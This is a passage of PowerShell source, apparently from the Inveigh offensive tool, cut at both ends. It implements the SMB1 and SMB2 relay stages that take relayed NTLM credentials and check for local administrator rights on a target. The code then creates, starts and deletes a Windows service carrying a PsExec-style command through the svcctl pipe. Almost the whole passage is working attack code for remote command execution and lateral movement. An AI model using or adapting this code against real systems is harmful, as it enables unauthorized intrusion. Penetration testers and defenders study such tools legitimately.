Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - $SMB_service_manager_context_handle = $SMB_client_receive[88..107] - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'CreateServiceW' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage_final -le 2) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Middle' - { - $SMB_split_stage++ - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] - $SMB_split_index_tracker += $SMB_split_index - $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if($SMB_split_stage -ge $SMB_split_stage_final) - { - $SMB_client_stage = 'CreateServiceW_Last' - } - else - { - $SMB_client_stage = 'CreateServiceW_Middle' - } - - } - - 'CreateServiceW_Last' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] - $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'StartServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log_file_queue.Add("Trying to execute SMB relay command on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") - } - - $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") - $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") - $SMB_service_context_handle = $SMB_client_receive[92..111] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'DeleteServiceW' - } - elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'DeleteServiceW' - { - - if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') - { - $inveigh.console_queue.Add("SMB relay command executed on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') - { - $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service failed to start on $Target") - } - - } - - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CloseServiceHandle' - $SMB_close_service_handle_stage = 1 - } - - 'CloseServiceHandle' - { - - if($SMB_close_service_handle_stage -eq 1) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") - $SMB_close_service_handle_stage++ - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") - } - - } - else - { - $SMB_client_stage = 'CloseRequest' - $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle - } - - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - } - - 'CloseRequest' - { - $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'TreeDisconnect' - } - - 'TreeDisconnect' - { - $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Logoff' - } - - 'Logoff' - { - $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBLogoffAndXRequest - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'Exit' - } - - } - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $Target") - $SMB_client_stage = 'Exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") - } - - } - - } - - } - else - { - - $SMB_client_stage = 'TreeConnect' - - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnect' - { - $SMB2_message_ID = 4 - $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'CreateRequest' - } - - 'CreateRequest' - { - $SMB2_tree_ID = 0x01,0x00,0x00,0x00 - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes - $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl - $SMB_file_ID = $SMB_client_receive[132..147] - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadRequest' - { - - Start-Sleep -m 150 - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 - $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - else - { - $SMB_client_stage = 'StatusPending' - } - - } - - 'StatusPending' - { - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') - { - $SMB_client_stage = $SMB_client_stage_next - } - - } - - 'OpenSCManagerW' - { - $SMB2_message_ID = 30 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - $SMB_service_manager_context_handle = $SMB_client_receive[108..127] - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") - } - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - $SMB_relay_failed = $true - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") - } - - } - else - { - $SMB_relay_failed = $true - } - - } - - 'CreateServiceW' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadRequest' - $SMB_client_stage_next = 'StartServiceW' - } - - 'CreateServiceW_First' - { - $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $SMB2_message_ID += 20 - $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) - $SMB_split_index_tracker = $SMB_split_index - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - 